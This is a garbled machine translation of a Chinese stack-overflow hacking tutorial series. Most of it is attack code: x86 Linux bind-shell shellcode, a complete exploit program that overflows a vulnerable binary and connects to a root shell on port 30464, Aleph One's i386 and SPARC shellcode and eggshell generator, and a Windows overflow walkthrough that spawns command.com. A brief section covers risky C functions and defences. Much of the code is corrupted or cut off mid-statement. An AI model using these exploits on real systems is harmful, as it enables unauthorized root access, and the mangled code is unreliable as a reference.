"/ x89 / x46 / x04" / * movl% EAX, 0x4 (% ESI) * / / * second parameter. * / "/ xb0 / x66" / * MOVB $ 0X66,% Al * / "/ XB3 / X04 "/ * MOVB $ 0x4,% BL * /" / XCD / X80 "; / * int $ 0x80 * / ------------------------ ---------------------------------------------- ACCEPT ( SOC, 0, 0) assembly code --------------------------------------- ----------------------------- / * Accept 66 system call, No. 5 is called. * / / * He uses a block to pass the parameters. * / / *% ECX is the address pointer of this memory block. * / char code [] = "/ x89 / xf1" / * movl% ESI,% ECX * / "/ x89 / xf1" / * MOVL% EAX, (% ESI) * / / *% EAX content is the return value of the Socket call, * / / * is the SOC file descriptor, as the first parameter * / "/ x31 / xc0" / * xorl% EAX,% Eax * / "/ x89 / x46 / x04" / * movl% EAX, 0x4 (% ESI) * / / * second parameter. * / "/ x89 / x46 / x08" / * movl% EAX, 0x8 (% ESI) * / / * The third parameter. * / "/ xb0 / x66" / * MOVB $ 0x66,% Al * / "/ XB3 / X05" / * MOVB $ 0X5,% BL * / "/ XCD / X80 "; / * Int $ 0x80 * / ----------------------------------------- -------------------------------

Compilation code of DUP2 (CLI, 0) ---------------------------------------------------------------------------------------------------------------------------- ------------------------------ / * The first parameter is% EBX, the second parameter is% ECX * / Char code [] = / *% EAX is the return value of the Accept call, * / / * customer file descriptor CLI. * / "/ x88 / xc3" / * movb% Al,% BL * / "/ XB0 / x3f "/ * MOVB $ 0x3f,% Al * /" / x31 / xc9 "/ * xorl% ECX,% ECX * /" / xcd / x80 "; / * int $ 0x80 * / ------- -------------------------------------------------- ---------------

Now, all the details will be stringed to form a new shell.

New shellcode ------------------------------------------------------------------------------------------------ ------------------------ CHAR shellcode [] = 00 "/ x31 / xc0" / * xorl% EAX,% EAX * / 02 "/ XB0 / x02 "/ * MOVB $ 0x2,% Al * / 04" / xcd / x80 "/ * int $ 0x80 * / 06" / x85 / xc0 "/ * testl% EAX,% EAX * / 08" / x75 / x43 "/ * JNE 0x43 * / / * Execute fork (), when Fork ()! = 0, it shows that it is a parent process, to terminate * / / * therefore, jump to 0x43 a = 0x4d, jump to the back, execute EXIT (0) * / 0A "/ Xeb / x43" / * JMP 0x43 * / / * When Fork () == 0, it indicates that the child process * / / * therefore jumps to 0x43 0c = 0x4f, and then jump Go back, execute Call -0xa5 * / 0c "/ x5e" / * popl% ESI * / 0D "/ x31 / xc0" / * xorl% EAX,% EAX * / 0F "/ x31 / xdb" xorl% EBX % EBX * / 11 "/ x89 / xf1" / * movl% ESI,% ECX * / 13 "/ XB0 / X02" / * MOVB $ 0x2,% Al * / 15 "/ x89 / x06" / * movl% Eax, (% ESI) * / 17 "/ xb0 / x01" / * MOVB $ 0X1,% Al * / 19 "/ x89 / x46 / x04" / * movl% EAX, 0x4 (% ESI) * / 1C "/ XB0 / X06 "/ * MOVB $ 0X6,% Al * / 1E" / x89 / x46 / x08 "/ * movl% EAX, 0x8 (% ESI) * / 21" xb0 / x66 "/ * MOVB $ 0X66,% Al * / 23 "/ xb3 / x01" / * MOVB $ 0X1,% BL * / 25 "/ xcd / x80" / * int $ 0x80 * / / * Execute Socket (), Eax is the return value SOC file descriptor * /

27 "/ x89 / x06" / * movl% EAX, (% ESI) * / 29 "/ xb0 / x02" / * MOVB $ 0x2,% Al * / 2D "/ x66 / x89 / x46 / x0c" / * MOVW % AX, 0XC (% ESI) * / 2F "/ xb0 / x77" / * MOVB $ 0x77,% Al * / 31 "/ x66 / x89 / x46 / x0e" / * movw% AX, 0xE (% ESI) * / 35 "/ x8d / x46 / x0c" / * LEAL 0XC (% ESI),% EAX * / 38 "/ x89 / x46 / x04" / * movl% EAX, 0x4 (% ESI) * / 3b "/ x31 / XC0 "/ * xorl% EAX,% EAX * / 3D" / x89 / x46 / x10 "/ * movl% EAX, 0x10 (% ESI) * / 40" / xb0 / x10 "/ * MOVB $ 0X10,% Al * / 42 "/ x89 / x46 / x08" / * movl% EAX, 0x8 (% ESI) * / 45 "/ xb0 / x66" / * MOVB $ 0X66,% Al * / 47 "/ XB3 / X02" / * MOVB $ 0x2,% BL * / 49 "/ xcd / x80" / * int $ 0x80 * / / * execution bind () * / 4b "/ xeb / x04" / * jmp 0x4 * / / * crossing two jumps turn*/

4D "/ Xeb / X55" / * JMP 0x55 * / / * jump to 0x4f 0x55 = 0xA4 * /

4F "/ xeb / x5b" / * jmp 0x5b * / / * jump to 0x51 0x5b = 0xac * /

51 "/ xb0 / x01" / * MOVB $ 0x1,% Al * / 53 "/ x89 / x46 / x04" / * movl% EAX, 0X4 (% ESI) * / 56 "/ xb0 / x66" / * MovB $ 0 X66,% Al * / 58 "/ XB3 / X04" / * MOVB $ 0X4,% BL * / 5A "/ XCD / X80" / * int $ 0x80 * / / * Execute Listen () * /

5C "/ x31 / xc0" / * xorl% EAX,% EAX * / 5E "/ x89 / x46 / x04" / * movl% EAX, 0x4 (% ESI) * / 61 "/ x89 / x46 / x08" / * MOVL% EAX, 0x8 (% ESI) * / 64 "/ xb0 / x66" / * MOVB $ 0x66,% Al * / 66 "/ XB3 / X05" / * MOVB $ 0X5,% BL * / 68 "/ XCD / X80 "/ * int $ 0x80 * / / * Execute accept (), Eax is the return value CLI file descriptor * /

6A "/ x88 / xc3" / * movb% Al,% BL * / 6C "/ xb0 / x3f" / * MOVB $ 0x3f,% Al * / 6e "/ x31 / xc9" / * xorl% ECX,% ECX * / 70 "/ xcd / x80" / * int $ 0x80 * / 72 "/ xb0 / x3f" / * MOVB $ 0x3f,% Al * / 74 "/ XB1 / X01" / * MOVB $ 0X1,% CL * / 76 "/ xcd / x80" / * int $ 0x80 * / 78 "/ xb0 / x3f" / * movb $ 0x3f,% Al * / 7A "/ XB1 / X02" / * MOVB $ 0X2,% CL * / 7C "/ XCD / X80 "/ * INT $ 0x80 * / / * Perform three DUP2 () * / 7e" / xb8 / x2f / x62 / x69 / x6e "/ * movl $ 0x6E69622F,% EAX * / / *% EAX =" / bin "* / 83" / x89 / x06 "/ * movl% EAX, (% ESI) * / 85" / xb8 / x2f / x73 / x68 / x2f "/ * MOVL $ 0x2f68732f,% eax * / / *% EAX = "/ sh /" * / 8A "/ x89 / x46 / x04" / * movl% EAX, 0x4 (% ESI) * / 8D "/ x31 / xc0" / * xorl% EAX,% EAX * / 8F " / x88 / x46 / x07 "/ * movb% Al, 0x7 (% ESI) * / 92" / x89 / x76 / x08 "/ * movl% ESI, 0x8 (% esi) * / 95" / x89 / x46 / x0c "/ * MOVL% EAX, 0xc (% ESI) * / 98" / XB0 / X0B "/ * MOVB $ 0XB,% Al * / 9A" / x89 / xf3 "/ * movl% ESI,% EBX * / 9C" / x8d / x4e / x08 "/ * LEAL 0x8 (% ESI),% ECX * / 9F" / x8d / x56 / x0c "/ * leal 0xc (% ESI),% EDX * / A2" / XCD / X80 "/ * INT $ 0x80 * / / * Execute EXECVE () * / / * Run / Bin / SH () * /

A4 "/ x31 / xc0" / * xorl% EAX,% EAX * / A6 "/ XB0 / X01" / * MOVB $ 0x1,% Al * / A8 "/ x31 / xdb" / * xorl% EBX,% EBX * / aa "/ xcd / x80" / * int $ 0x80 * / / * Execute EXIT () * /

AC "/ XE8 / X5B / XFF / XFF / XFF"; / * CALL-0XA5 * / / * Performs Directive at 0x0c * /

B1 ------------------------------------- -----------------------

Ok, long shell is finally finished, and below is the attack program.

Exploit4.c ----------------------------------------------------------------------------------- ------------------------- #include #include #include #include #include

#define align 0 #define offset 0 #define return 1024 #define Range 20 #define NOP 0x90

Char shellcode [] = "/ x31 / xc0" / * xorl% EAX,% EAX * / "/ xb0 / x02" / * MOVB $ 0X2,% Al * / "/ xcd / x80" / * int $ 0x80 * / "/ x85 / xc0" / * testl% EAX,% EAX * / "/ x75 / x43" / * jne 0x43 * / "/ xeb / x43" / * jmp 0x43 * / "/ x5e" / * popl% ESI * / "/ x31 / xc0" / * xorl% EAX,% EAX * / "/ x31 / xdb" / * xorl% EBX,% EBX * / "/ X89 / XF1" / * movl% ESI,% ECX * / " / XB0 / X02 "/ * MOVB $ 0x2,% Al * /" / x89 / x06 "/ * movl% EAX, (% ESI) * /" / xb0 / x01 "/ * MOVB $ 0x1,% al * /" / x89 / x46 / x04 "/ * movl% EAX, 0x4 (% ESI) * /" / xb0 / x06 "/ * MOVB $ 0X6,% Al * /" / x89 / x46 / x08 "/ * movl% EAX, 0x8 (% ESI) * / "/ xb0 / x66" / * MOVB $ 0x66,% Al * / "/ XB3 / X01" / * MOVB $ 0X1,% BL * / "/ XCD / X80" / * int $ 0x80 * / "/ x89 / x06" / * movl% EAX, (% ESI) * / "/ xb0 / x02" / * MOVB $ 0x2,% Al * / "/ x66 / x89 / x46 / x0c" / * MOVW% AX, 0xc (% ESI) * / "/ xb0 / x77" / * MOVB $ 0X77,% Al * / "/ x66 / x89 / x46 / x0e" / * movw% AX, 0XE (% ESI) * / "/ X8D / X46 / X0C "/ * LEAL 0XC (% ESI),% EAX * /" / x89 / x46 / x04 "/ * movl% EAX, 0X4 (% ESI) * /" / x31 / xc0 "/ * xorl% EAX,% EAX * / "/ x89 / x46 / x10" / * movl% EAX, 0x10 (% ESI) * / "/ xb0 / x10" / * MOVB $ 0x10,% Al * / "/ x89 / x46 / x08 "/ * MOVL% EAX, 0x8 (% ESI) * / "/ xb0 / x66" / * MOVB $ 0X66,% Al * / "/ XB3 / X02" / * MOVB $ 0X2,% BL * / "/ XCD / X80" / * INT $ 0x80 * / "/ Xeb / x04" / * jmp 0x4 * / "/ xeb / x55" / * jmp 0x55 * / "/ xeb / x5b" / * jmp 0x5b * / "/ xb0 / x01" / * MOVB $ 0x1,% Al * / "/ x89 / x46 / x04" / * movl% EAX, 0x4 (% ESI) * / "/ xb0 / x66" / * MOVB $ 0x66,% Al * / "/ XB3 / X04 "/ * MOVB $ 0X4,% BL * /" / XCD / X80 "/ * int $ 0x80 * /" / x31 / xc0 "/ * xorl% EAX,% EAX * /" / x89 / x46 / x04 "

/ * MOVL% EAX, 0x4 (% ESI) * / "/ x89 / x46 / x08" / * movl% EAX, 0x8 (% ESI) * / "/ xb0 / x66" / * MOVB $ 0X66,% Al * / "/ XB3 / X05" / * MOVB $ 0X5,% BL * / "/ XCD / X80" / * INT $ 0x80 * / "/ x88 / xc3" / * movb% Al,% BL * / "/ XB0 / X3F "/ * MOVB $ 0x3f,% Al * /" / x31 / xc9 "/ * xorl% ECX,% ECX * /" / XCD / X80 "/ * int $ 0x80 * /" / xb0 / x3f "/ * MOVB $ 0 X3f,% Al * / "/ XB1 / X01" / * MOVB $ 0x1,% cl * / "/ xcd / x80" / * int $ 0x80 * / "/ xb0 / x3f" / * MOVB $ 0x3f,% Al * / "/ xb1 / x02" / * MOVB $ 0x2,% cl * / "/ xcd / x80" / * int $ 0x80 * / "/ xb8 / x2f / x62 / x69 / x6e" / * movl $ 0x6e69622f,% EAX * / "/ x89 / x06" / * MOVL% EAX, (% ESI) * / "/ xb8 / x2f / x73 / x68 / x2f" / * movl $ 0x2f68732f,% eax * / "/ x89 / x46 / x04" / * MOVL% EAX, 0x4 (% ESI) * / "/ x31 / xc0" / * xorl% EAX,% EAX * / "/ x88 / x46 / x07" / * movb% Al, 0x7 (% ESI) * / "/ x89 / x76 / x08" / * movl% ESI, 0x8 (% ESI) * / "/ x89 / x46 / x0c" / * movl% EAX, 0xc (% ESI) * / "/ xb0 / x0b" / * MOVB $ 0XB,% Al * / "/ x89 / xf3" / * movl% ESI,% EBX * / "/ x8d / x4e / x08" / * leal 0x8 (% ESI),% ECX * / "/ X8D / X56 / X0C "/ * LEAL 0XC (% ESI),% EDX * /" / XCD / X80 "/ * int $ 0x80 * /" / x31 / xc0 "/ * xorl% EAX,% EAX * /" / XB0 / X 01 "/ * MOVB $ 0x1,% Al * /" / x31 / xdb "/ * xorl% EBX,% EBX * /" / XCD / X80 "/ * int $ 0x80 * /" / xe8 / x5b / xff / XFF / XFF "; / * CALL-0XA5 * / unsigned long get_sp (void) {__ASM __ (" MOVL% ESP,% EAX ");

Long getip (char * name) {struct hostent * hp; long ip; if ((ip = inet_addr (name)) == - 1) {if ((hp = gethostbyname (name)) == null) {fprintf (stderr) "Can't resolve host./n"); exit (0);} Memcpy (; ip, (hp-> h_addr), 4);} return ip;}

INT EXEC_SH (INT SOCKFD) {char SND [4096], RCV [4096]; FD_SET RSET; While (1) {fd_zero (; Rset); fd_set (fileno (stdin) ,; Rset); fd_set (sockfd,; rset) SELECT (255 ,; RSET, NULL, NULL, NULL); IF (fd_isset (Fileno (STDIN) (SND, 0, SIZEOF (SND)); FGETS (SND, SIZEOF (SND), STDIN); WRITE (SOCKFD, SND, STRLEN (SND));} IF (fd_isset (sockfd,; rset)) {MEMSET (RCV, 0, SizeOf (RCV)); if (Read (Sockfd, RCV, SIZEOF (RCV) )) <= 0) EXIT (0); FPUTS (RCV, STDOUT);}}} INT Connect_sh (long IP) {Int Sockfd, I; Struct Sockaddr_in Sin; Printf ("Connect to the shell / n"); FFLUSH (stdout); MEMSET (; sin); sin.sin_family = AF_INET; SIN.SIN_PORT = HTONS (30464); sin.sin_addr.s_addr = IP; if ((Sockfd = Socket (AF_INET, SOCK_STREAM , 0) <0) {Printf ("can't create socket / n"); exit (0);} if (connect (Sockfd, Struct SockAddr *); SIN, SIZEOF (SIN)) <0) { Printf ("can't connect to the shell / n"); exit (0);} return sockfd;}

Void main (int Argc, char ** argv) {char buff [RET_POSITION RANGE Align 1], * Ptr; Long Addr; unsigned long sp; int off = offset, bsize = RET_POSITION RANGE ALIGN 1; INT I; int suckfd;

IF (Argc> 1) OFFSET = ATOI (Argv [1]);

SP = GET_SP (); addr = sp-offset;

Reply: Stack overflow series lecture (1-10) for (i = 0; i > 8; BUFF [I Align 2] = (Addr; 0x00FF0000) >> 16; BUFF [i align 3] = (addr; 0xff000000) >> 24;}

For (i = 0; i

PTR = BUFF BSIZE-RANGE * 2-Strlen (shellcode) -1; for (i = 0; i

BUFF [BSIZE-1] = '/ 0';

Printf ("jump to 0x% 08x / n", addr); if (fork () == 0) {EXECL ("./ Vulnerable", "Vulnerable", BUFF, 0); EXIT (0);} SLEEP 5); SOCKFD = Connect_sh (Getip ("127.0.0.1"); EXEC_SH (SockFD);} --------------------------- -------------------------------------------- Algorithm is simple, sir By overflow string, format is: nnnnnsssaaaaa. Then a child process perform a target program to simulate the network daemon, the parameters are our string. Ok, the stack has overflows. Our shellcode is executed, then there will be Server at Listen at 30464.

The parent process sleeps for five seconds and waits for these completion. Connect the port 30464 of the unit. After the connection is established, read the received string from Socket, print to standard output, read the string from the standard input to the SOCKET's Server.

Let's try it out:

Let's write a vulnerability program: Vulnerable.c ---------------------------------------- -------------------------------- #include

INT Main (int Argc, char ** argv) {char buffer [1000]; Printf ("I am here% x, buffer% d / n", buffer, strlen (argv [1])); STRCPY (Buffer, Argv [1]);

Return 0;} ---------------------------------------------- ----------------------------

[NKL10] $ ./exploit jump to 0xbffff63c i am herebffff280, buffer1224 connection to the shell view? I added a printf in VulneRable.c, print the first address of the buffer, so you don't have to guess. 0xBFFFF63C-0XBFFFF280 = 956, good, use 956 to perform offset. [NKL10] $. / EXPLOIT 956 JUMP TO 0XBFFFF280 I am Herebfff280, Buffer1224 Connect To Shell Whoami Root ID UID = 0 (root) ... uname -a Linux localhost.localdomain 2.2.5-15. . .

Hey, I'm already gone.

Reply: Stack Overflow Series Lecture (1-10) Stack Overflow Series Lecture (6) _Hacker Teaching _ Hacker Technology Prevent Stack Overflow

1: Looking for a vulnerability

We have seen the harm of stack overflow, then what program will have a hidden danger of stack overflow? The first is Strcpy, many problems are in him. Others, and:

1: Many functions related to string operations are problematic. They are: strat (), structf (), sprintf (), and vsprintf ().

2: Functions with variable parameters, such as: variants of all Printf, (except Printf) fprintf () ... Because these functions use vsprintf (buf, fmt, AP); to formatted strings and The parameter is combined, and the output is used to buffer, so there is a risk of stack overflow. 3: Internal calling strcpy function gets (), getc (), fgetc (), or getchar () ...

4: Scanf () and all Scanf variants. Vcscanf (), sscanf (), fscanf () ... Because SCANF accepts parameter% s to perform string replication, regardless of the boundaries of the string.

There are programs with the above functions are dangerous.

In addition, all processes that link XT lib are problematic programs.

In Linux, you can find all the original code, GREP above these functions. If there is no original code, you can use the strings command to view the string in the target program, see if there is any: "What is", "% s", can you use () command to see which library functions used by the program .

Once there are programs with hidden dangers, you can use the various methods mentioned earlier. I believe you can find a vulnerability and get the shell.

2: Preventive measures:

Of course, the best way is to set the stack segment into unauthorized. The original stack section is putting data! Our shellcode is because it is inside the stack, so it will completely don't play. However, this requires the support of the operating system. Solaris can now be implemented. Linux is not clear.

Also, don't write a SETUID program. And when you write the setuid program, you must be careful, don't appear which problem functions above, or attach boundary checks.

The number and name of the SetUID program on your machine, you should check it regularly. For little SETUID programs, simply remove the SetUID.

Finally, new vulnerabilities are endless, and there are many security websites in the essence. You (network management) should go to these places every day. I hope you keep up with the times and diligently cheer.

3: Appendix: Below, the baby is the admission from Aleph One's classic masterpiece "Smashing The Stack for Fun and Profit". Mainly in order to facilitate everyone to use, save it.

Appendix A - Shellcode for Different Operating Systems / Architectures

~ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~

I386 / Linux ------------------------------------------------- ------------------------- JMP 0x1F POPL% ESI MOVL% ESI, 0x8 (% ESI) xorl% Eax,% EAX MOVB% EAX, 0x7 (% ESI) MOVL% EAX, 0xC (% ESI) MOVB $ 0XB,% Al Movl% ESI,% EBX Leal 0x8 (% ESI),% ECX LEAL 0XC (% ESI),% EDX INT $ 0x80 xorl% EBX, % EBX MOVL% EBX,% EAX INC% EAX INT $ 0X80 CALL-0X24.String / "/ Bin / SH /" ----------------------- ------------------------------------------------- SPARC / Solaris ------------------------------------------------ ------------------------ SETHI 0XBD89A,% L6 OR% L6, 0x16E,% L6 SETHI 0XBDCDA,% L7 and% SP,% SP,% O0 Add% SP, 8,% O1 XOR% O2,% O2,% O2 Add% SP, 16,% SP STD% L6, [% SP - 16] ST% SP, [% SP - 8] ST% G0, [% SP - 4] MOV 0x3b,% G1 TA 8 XOR% O7,% O7,% O0 MOV 1,% G1 TA 8 -------------------- -------------------------------------------------- -

SPARC / SunOS --------------------------------- ------------------------- SETHI 0XBD89A,% L6 OR% L6, 0x16E,% L6 SETHI 0XBDCDA,% L7 and% SP,% SP, % O0 Add% SP, 8,% O1 XOR% O2,% O2,% O2 Add% SP, 16,% SP STD% L6, [% SP - 16] ST% SP, [% SP - 8] ST% G0 [% sp - 4] MOV 0x3b,% G1 MOV-0X1,% L5 TA% L5 1 XOR% O7,% O7,% O0 MOV 1,% G1 TA% L5 1 -------- -------------------------------------------------- ----------------

Appendix B - Generic Buffer overflow Program ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~

Shellcode.h ----------------------------------------------- ------------------------- #if Defined (__ i386__) ;; defined (__ linux__)

#define nop_size 1 char NOP [] = "/ x90"; char shellcode [] = "/ Xeb / x1f / x5e / x89 / x76 / x08 / x31 / xc0 / x88 / x46 / x07 / x89 / x46 / x0c / xb0 / x0b "" / x89 / x0b / x8d / x4e / x08 / x8d / x56 / x0c / xcd / x80 / ​​x31 / xdb / x89 / xd8 / x40 / xcd "" / x80 / ​​xe8 / xdc / XFF / XFF / XFF / bin / sh ";

Unsigned long get_sp (void) {__ASM __ ("MOVL% ESP,% EAX");} #elif defined (__ sparc__); defined (__ sun__); defined (__ svr4__)

#define nop_size 4 char NOP [] = "/ xac / x15 / xa1 / x6e"; char shellcode [] = "/ x2d / x15 / xa1 / x6e / x2f / x0b / xdc / xda / x90 / x0b / x80 / ​​x0e "" / x92 / x03 / xa0 / x08 / x94 / x1a / x80 / ​​x0a / x9c / x03 / xa0 / x10 / Xec / x3b / xbf / xf0 "" / xdc / x23 / xbf / XF8 / XC0 / X23 / XBF / XFC / X82 / X10 / X20 / X3B / X08 "" / x90 / x1b / xc0 / x0f / x82 / x10 / x20 / x01 / x91 / xd0 / x20 / x08 ";

Unsigned long get_sp (void) {__ASM __ ("OR% SP,% SP,% I0");

#ELIF Defined (__ sparc__); defined (__ sun__)

#define nop_size 4 char NOP [] = "/ xac / x15 / xa1 / x6e"; char shellcode [] = "/ x2d / x15 / xa1 / x6e / x2f / x0b / xdc / xda / x90 / x0b / x80 / ​​x0e "" / x92 / x03 / xa0 / x08 / x94 / x1a / x80 / ​​x0a / x9c / x03 / xa0 / x10 / Xec / x3b / xbf / xf0 "" / xdc / x23 / xbf / XF8 / XC0 / X23 / XBF / XFC / X82 / X10 / X20 / X3B / XAA / X10 / X3F / XFF "/ x91 / xd5 / x60 / x01 / x90 / x1b / xc0 / x0f / x82 / x10 / x20 / x01 / x91 / xd5 / x60 / x01 ";

Unsigned long get_sp (void) {__ASM __ ("OR% SP,% SP,% I0");

#ENDIF ------------------------------------------------------------------------------------------------------------------------------------------ ---------------------------------------------------------------------------------------------------------------------------------------

Eggshell.c ----------------------------------------------- ------------------------- / * * Eggshell v1.0 * * aleph one /

#define default_offset 0 #define default_buffer_size 512 #define default_egg_size 2048

Void Usage (Void);

Void main (int Argc, char * argv []) {char * ptr, * bof, * egg; long * addr_ptr, addr; int offset = default_offset, bsize = default_buffer_size; int i, n, m, c, align = 0 , eggsize = default_egg_size; while ((c = getopt (argc, argv, "A: B: E: o:"))! = EOF) Switch (c) {CASE 'A': align = ATOI (OPTARG); Break; Case 'b': bsize = atoi (OPTARG); Break; Case 'E': Eggsize = ATOI (OPTARG); Break; Case 'o': offset = atoi (OPTARG); Break; Case '?': USAGE EXIT (0);

IF (Strlen (shellcode> eggsize) {printf ("shellcode is larger the the the egg./N"); exit (0);

IF (! ("" can't allocate memory./n "); exit (0);} if (! ((egg = malloc (eggsize)))) {Printf (" CAN 't allocate memory./n "); exit (0);}

Addr = get_sp () - offset; printf ("[buffer size: / t% d / t / tegg size: / t% d / taligment: / T% D / T%); BSIZE, EGGSIZE, Align; Printf ("[Address: / T0x% X / Toffset: / T / T% D / T / T / T / T / T%);

ADDR_PTR = (long *) Bof; for (i = 0; i

PTR = Egg; for (i = 0; i <= eggsize - strlen (shellcode) - NOP_SIZE; i = NOP_SIZE) FOR (n = 0; n

For (i = 0; i

Bof [BSIZE - 1] = '/ 0'; EGG [Eggsize - 1] = '/ 0';

Memcpy (EGG, "EGG =", 4); Putenv (EGG);

Memcpy (Bof, "BOF =", 4); Putenv (BOF); System ("/ Bin / SH");}

Void usage (void) {(void) fprintf (stderr, "usage: eggshell [-a ] [-b ] [-e ] [-o ] / n"); Reply: Stack overflow series lecture (1-10) Stack overflow series lecture (7) _HACKER teaching _ hacking technology under the stack overflow under the WINDOW system - Principles

Let us take a look at the procedure under the Windows system. Our goal is to study how to use the stack overflow vulnerability of the Windows program.

Let us start from the beginning. Windows 98 Second Edition

First, let's write a question program: #include

INT main () {char name [32]; gets (name); for (INT i = 0; i <32 ;; name; i ) Printf ("// 0x% x", name);}

I believe everyone has seen it, Gets (name) does not have a boundary check on the Name array. Then we can give the program a long string, and must definitely override the return address in the stack.

C: / Program Files / DevStudio / MyProjects / bo / Debug> vunera ~ 1 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa / 0x61 / 0x61 / 0x61 / 0x61 / 0x61 / 0x61 / 0x61 / 0x61 / 0x61 / 0x61 / 0x61 / 0x61 / 0x61 / 0x61 / 0x61 / 0x61 / 0x61 / 0x61 / 0x61 / 0x61 / 0x61 / 0x61 / 0x61 / 0x61 / 0x61 / 0x61 / 0x61 / 0x61 / 0x61 / 0x61 / 0x61 / 0x61

Here, the familiar dialog box appeared "The program executes illegal operation ...", too good, click on the details button, see the value of the EIP is 0x61616161, haha, dialog will also tell us the return address . This feature is too good, we can choose a sequence of input strings, accurately determine where the return address is stored.

C: / Program Files / DevStudio / MyProjects / bo / Debug> vunera ~ 1 12345678910111213141516171819202122232425262728293031323334353637383940 / 0x31 / 0x32 / 0x33 / 0x34 / 0x35 / 0x36 / 0x37 / 0x38 / 0x39 / 0x31 / 0x30 / 0x31 / 0x31 / 0x31 / 0x32 / 0x31 / 0x33 / 0x31 / 0x34 / 0x31 / 0x35 / 0x31 / 0x36 / 0x31 / 0x37 / 0x31 / 0x38 / 0x31 / 0x39 / 0x32 / 0x30 / 0x32 to here, there is a familiar dialog box "to change the program execute illegal operation ... ", click on the details button, below is details:

VuneRable in 00DE: 32363235 module causes invalid page error. Registers: EAX = 00000005 CS = 017f EIP = 32363235 EFLGS = 00000246 EBX = 00540000 SS = 0187 ESP = 0064fe00 EBP = 32343233 ECX = 00000020 DS = 0187 ESI = 816bffcc FS = 11df EDX = 00411a68 ES = 0187 EDI = 00000000 GS = 0000 BYTES AT CS: EIP:

Stack dump: 32383237 33303339 33323331 33343333 33363335 33383337 c0000005 0064ff68 0064fe0c 0064fc30 0064ff68 004046f4 0040f088 00000000 0064ff78 bff8b86c oh, EIP content is 0x32363235, is 2625, EBP content is 0x32343233, is 2423, the math may know, in the stack, from The NAME variable address begins offset 36, which is the address of the EBP, starting from the NAME variable address, is the address of the RET. We can give the Name array to enter our carefully written shellcode. As long as we put the Name's start address 40 of the address 40 of overflow strings. So, what is the start address of Name? We can see the above STACK DUMP, the current ESP is 0x0064FE00, the content is

0x32383237, then calculated, Name's start address is: 0x0064FE00-44 = 0x64FDD4. In the Windows system, other running processes remain unchanged. Every time we execute the start address of the stack of Vunera to 1. That is, each time run, the address of the Name is 0x64fdd4.

Telling here, everyone must have discovered such a situation: In the WIN system, due to address conflict detection, error, register images and stack images, make our accurate analysis overflow offset address for stack overflow vulnerabilities. This allows us to find a stack overflow vulnerability.

OK, all the best, only shellcode.

First, consider what is our shellcode to do? Obviously, according to the past experience, we want to open a DOS window, so we can make a lot of things under this window.

The procedure for opening a DOS window is as follows: #include #include

TYPEDEF VOID (LPTSTSTSTST); int main () {hinstance librandle; myproc procadd;

Char DLLBUF [11] = "msvcrt.dll"; char sysbuf [7] = "system"; char cmdbuf [16] = "command.com";

LibHandle = loadingLibrary (DLLBUF);

PROCADD = (MyProc) getProcaddress (libhandle, sysbuf);

(Procadd) (cmdbuf);

Return 0;}

This program is necessary to explain it in detail. We know that you can get a DOS window in a Command.com. In the C library function, statement system (command.com); will complete the features we need.

However, Windows does not use system calls like UNIX to implement critical functions. For our programs, Windows provides system functions through dynamic link libraries. This is the so-called DLL's.

Therefore, when we want to call a system function, he cannot directly reference him. We must find the dynamic link library containing this function, which provides the address of this function by the dynamic link library. The DLL itself also has a basic address, which is loaded from this basic address every time. For example, the System function is provided by MSVCRT.DLL (The Microsoft Visual C Runtime Library), while MSVCRT.DLL starts from the 0x78000000 address each time. The System function is located at a fixed offset of MSVCRT.DLL (this offset address is only related to the version of MSVCRT.DLL, and the different versions may be offset by different addresses). On my system, the MSVCRT.DLL version is (V6.00.8397.0). The system offset address is 0x019824. So, if you want to execute System, we must first load the dynamic link library MSVCRT.DLL to load the dynamic link library, and obtain the handle of the dynamic link library. Then get the true address of the System using getProcadDress (librandle, system). This real address can then be used to call the System function.

Ok, now you can compile execution, the result is correct, we get a DOS box.

Now debug trace of the assembler language, can be obtained: 15: LibHandle = LoadLibrary (dllbuf); 00401075 lea edx, dword ptr [dllbuf] 00401078 push edx 00401079 call dword ptr [__imp__LoadLibraryA @ 4 (0x00416134)] 0040107F mov dword ptr [LibHandle], eax 16: 17: ProcAdd = (MYPROC) GetProcAddress (LibHandle, sysbuf); 00401082 lea eax, dword ptr [sysbuf] 00401085 push eax 00401086 mov ecx, dword ptr [LibHandle] 00401089 push ecx 0040108A call dword ptr [ __Imp__getprocaddress @ 8 (0x00416188)] 00401090 MOV DWORD PTR [PROCADD], EAX; now, EAX value is 0x78019824 is the true address of System. This address is unique for my machine. No need to find every time. 18: 19: 19: (CMDBUF); 00401093 LEA EDX, DWORD PTR [cmdbuf]; using the stack pass parameters, only one parameter is the address of the string "command.com" 004097 Call Dword PTR [procadd] 0040109A Add ESP, 4

Now we can write a assembly code to complete system, see if our execution system call is working as we design:

#include #include

Void main () {

LoadLibrary ("msvcrt.dll");

__ASM {MOV ESP, EBP; assign EBP content to ESP PUSH EBP; save EBP, ESP-4 MOV EBP, ESP; assign new value to EBP, will be used as a partial variable to XOR EDI, EDI; PUSH EDI; Pressure Enter 0, ESP-4, and the function is the end / 0 character of the construct string / 0. SUB ESP, 08H; Plus above, there are 12 bytes, and it is used to put "command.com". MOV BYTE PTR [EBP-0CH], 63H; MOV BYTE PTR [EBP-0BH], 6FH; MOV BYTE PTR [EBP-0AH], 6DH; MOV BYTE PTR [EBP-09H], 6DH; MOV BYTE PTR [EBP- 08H], 61H; MOV BYTE PTR [EBP-07H], 6EH; MOV BYTE PTR [EBP-06H], 64H; MOV BYTE PTR [EBP-05H], 2E; MOV Byte PTR [EBP-04H], 63H; MOV BYTE PTR [EBP-03H], 6FH; MOV BYTE PTR [EBP-02H], 6DH; Generator "Command.com". Lea Eax, [EBP-0CH]; Push Eax; String Address as the argument) MOV EAX, 0x78019824; Call EAX; call system}} Compile, then run. Ok, the DOS box came out. Enter Dir, Copy ... if you think of the 286 when you remember? Knocking EXIT quit, oh, an illegal operation has occurred. Access viological. This is sure, because our procedure has already mess with the stack pointer.

